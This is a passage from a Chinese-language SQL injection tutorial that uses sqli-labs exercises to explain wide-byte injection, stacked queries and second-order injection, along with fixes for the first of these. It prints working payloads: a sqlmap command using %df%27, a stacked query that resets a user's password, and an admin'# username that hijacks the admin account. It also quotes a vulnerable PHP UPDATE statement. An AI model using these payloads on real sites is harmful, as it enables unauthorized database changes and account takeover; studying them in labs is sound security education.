為什么,這歸結(jié)于gb2312編碼的取值范圍。它的高位范圍是0xA1~0xF7,低位范圍是0xA1~0xFE,而\是0x5c,是不在低位范圍中的。所以,0x5c根本不是gb2312中的編碼,所以自然也是不會(huì)被吃掉的。

所以,把這個(gè)思路擴(kuò)展到世界上所有多字節(jié)編碼,我們可以這樣認(rèn)為:只要低位的范圍中含有0x5c的編碼,就可以進(jìn)行寬字符注入。

寬字節(jié)注入注入方法

1. 黑盒

就是上面所述的,在注入點(diǎn)后面加%df,然后按照正常的注入流程開始注入即可。如果我們需要使用sqlmap進(jìn)行檢測(cè)注入的話也需要在注入點(diǎn)后面加%df然后再用sqlmap跑,否則是注入不出來的,如

sqlmap.py -u "http://localhost/sqli-labs-master/Less-32/?id=1%df%27"

2. 白盒

查看mysql是否為GBK編碼,且是否使用preg_replace()把單引號(hào)轉(zhuǎn)換成\'或自帶函數(shù)addslashes()進(jìn)行轉(zhuǎn)義

 

 如果存在上面說的,則存在寬字節(jié)注入。

寬字節(jié)注入修復(fù)

1. mysql_real_escape_string

聽說這個(gè)函數(shù)能抵御寬字節(jié)注入攻擊。mysql_real_escape_string — 轉(zhuǎn)義 SQL 語句中使用的字符串中的特殊字符,并考慮到連接的當(dāng)前字符集。mysql_real_escape_string與addslashes的不同之處在于其會(huì)考慮當(dāng)前設(shè)置的字符集。

 ?于是,把a(bǔ)ddslashes替換成mysql_real_escape_string,來抵御寬字符注入。但是我們發(fā)現(xiàn)還是一樣注入成功了

為什么,明明我用了mysql_real_escape_string,但卻仍然不能抵御寬字符注入?

原因就是,你沒有指定php連接mysql的字符集。我們需要在執(zhí)行sql語句之前調(diào)用一下mysql_set_charset函數(shù),設(shè)置當(dāng)前連接的字符集為gbk。??????????????????????

mysqli_set_charset(connection,charset);

參數(shù)描述
connection必需。規(guī)定要使用的 MySQL 連接。
charset必需。規(guī)定默認(rèn)字符集。

 這樣就防止了注入

 即先調(diào)用mysql_set_charset函數(shù)設(shè)置連接所使用的字符集為gbk,再調(diào)用mysql_real_escape_string來過濾用戶輸入。

2. 設(shè)置參數(shù),character_set_client=binary

3. 使用utf-8編碼

堆疊查詢

       堆疊查詢也叫堆疊注入,在SQL中,分號(hào)(;)是用來表示一條sql語句的結(jié)束。試想一下我們?cè)?; 結(jié)束一個(gè)sql語句后繼續(xù)構(gòu)造下一條語句,會(huì)不會(huì)一起執(zhí)行?因此這個(gè)想法也就造就了堆疊注入。而union injection(聯(lián)合注入)也是將兩條語句合并在一起,兩者之間有什么區(qū)別么?區(qū)別就在于union 或者union all執(zhí)行的語句類型是有限的,可以用來執(zhí)行查詢語句,而堆疊注入可以執(zhí)行的是任意的語句。以sqli-labs第38關(guān)為例

執(zhí)行

id=1';update users set password='123456' where id=1; --+ 

意思就是再更新id=1的用戶密碼為123456。如下成功執(zhí)行了更新密碼的語句

堆疊查詢的局限性

       堆疊注入的局限性在于并不是每一個(gè)環(huán)境下都可以執(zhí)行,可能受到API或者數(shù)據(jù)庫引擎不支持的限制,當(dāng)然了權(quán)限不足也可以解釋為什么攻擊者無法修改數(shù)據(jù)或者調(diào)用一些程序。雖然我們前面提到了堆疊查詢可以執(zhí)行任意的sql語句,但是這種注入方式并不是十分的完美的。在我們的web系統(tǒng)中,因?yàn)榇a通常只返回一個(gè)查詢結(jié)果,因此,堆疊注入第二個(gè)語句產(chǎn)生錯(cuò)誤或者結(jié)果只能被忽略,我們?cè)谇岸私缑媸菬o法看到返回結(jié)果的。如上面的實(shí)例如果我們不輸出密碼那我們是看不到這個(gè)結(jié)果的。因此,在讀取數(shù)據(jù)時(shí),我們建議使用union(聯(lián)合)注入。同時(shí)在使用堆疊注入之前,我們也是需要知道一些數(shù)據(jù)庫相關(guān)信息的,例如表名,列名等信息

二階注入

二次注入漏洞是一種在Web應(yīng)用程序中廣泛存在的安全漏洞形式。相對(duì)于一次注入漏洞而言,二次注入漏洞更難以被發(fā)現(xiàn),但是它卻具有與—次注入攻擊漏洞相同的攻擊威力。

  1. 黑客通過構(gòu)造數(shù)據(jù)的形式,在瀏覽器或者其他軟件中提交HTTP數(shù)據(jù)報(bào)文請(qǐng)求到服務(wù)端進(jìn)行處理,提交的數(shù)據(jù)報(bào)文請(qǐng)求中可能包含了黑客構(gòu)造的SQL語句或者命令。
  2. 服務(wù)端應(yīng)用程序會(huì)將黑客提交的數(shù)據(jù)信息進(jìn)行存儲(chǔ),通常是保存在數(shù)據(jù)庫中,保存的數(shù)據(jù)信息的主要作用是為應(yīng)用程序執(zhí)行其他功能提供原始輸入數(shù)據(jù)并對(duì)客戶端請(qǐng)求做出響應(yīng)。
  3. 黑客向服務(wù)端發(fā)送第二個(gè)與第一次不相同的請(qǐng)求數(shù)據(jù)信息。
  4. 服務(wù)端接收到黑客提交的第二個(gè)請(qǐng)求信息后,為了處理該請(qǐng)求,服務(wù)端會(huì)查詢數(shù)據(jù)庫中已經(jīng)存儲(chǔ)的數(shù)據(jù)信息并處理,從而導(dǎo)致黑客在第一次請(qǐng)求中構(gòu)造的SQL語句或者命令在服務(wù)端環(huán)境中執(zhí)行。
  5. 服務(wù)端返回執(zhí)行的處理結(jié)果數(shù)據(jù)信息,黑客可以通過返回的結(jié)果數(shù)據(jù)信息判斷二次注入漏洞利用是否成功

總結(jié),二次注入就是由于將數(shù)據(jù)存儲(chǔ)進(jìn)數(shù)據(jù)庫中時(shí)未做好過濾,先提交構(gòu)造好的特殊字符請(qǐng)求存儲(chǔ)進(jìn)數(shù)據(jù)庫,然后提交第二次請(qǐng)求時(shí)與第一次提交進(jìn)數(shù)據(jù)庫中的字符發(fā)生了作用,形成了一條新的sql語句導(dǎo)致被執(zhí)行。以sqli-labs第24關(guān)為例

sqli-labs less-24

1. 如下點(diǎn)擊注冊(cè)用戶

這里注冊(cè)用戶名為 admin'#

此時(shí)我們查看數(shù)據(jù)庫,注冊(cè)的用戶已經(jīng)存儲(chǔ)進(jìn)去了,并且admin的密碼是DDD

2. 對(duì)注冊(cè)的賬號(hào)進(jìn)行登錄然后修改密碼為ccccc

此時(shí)提示密碼已經(jīng)成功修改了

此時(shí)我們發(fā)現(xiàn)反倒是admin的密碼被修改成了ccccc,而我們注冊(cè)的用戶admin'#的密碼并沒有被修改

漏洞原因

1. 在進(jìn)行用戶注冊(cè)的允許存在'和#這種特殊字符

2. 在修改密碼頁面的源碼中,發(fā)現(xiàn)這里很明顯存在注入漏洞

$sql = "UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' ";

當(dāng)我們登錄賬號(hào)admin'#并修改密碼時(shí),這條sql語句就變成了如下這個(gè)樣子,#把后面的代碼都注釋掉了,所以修改了用戶admin的密碼為ccccc

$sql = "UPDATE users SET PASSWORD='$pass' where username='admin'#' and password='$curr_pass' ";

六、sql注入getshell的幾種方式

傳送門 -》sql注入getshell的幾種方式

    本站是提供個(gè)人知識(shí)管理的網(wǎng)絡(luò)存儲(chǔ)空間,所有內(nèi)容均由用戶發(fā)布,不代表本站觀點(diǎn)。請(qǐng)注意甄別內(nèi)容中的聯(lián)系方式、誘導(dǎo)購買等信息,謹(jǐn)防詐騙。如發(fā)現(xiàn)有害或侵權(quán)內(nèi)容,請(qǐng)點(diǎn)擊一鍵舉報(bào)。
    轉(zhuǎn)藏 分享 獻(xiàn)花(0

    0條評(píng)論

    發(fā)表

    請(qǐng)遵守用戶 評(píng)論公約

    類似文章 更多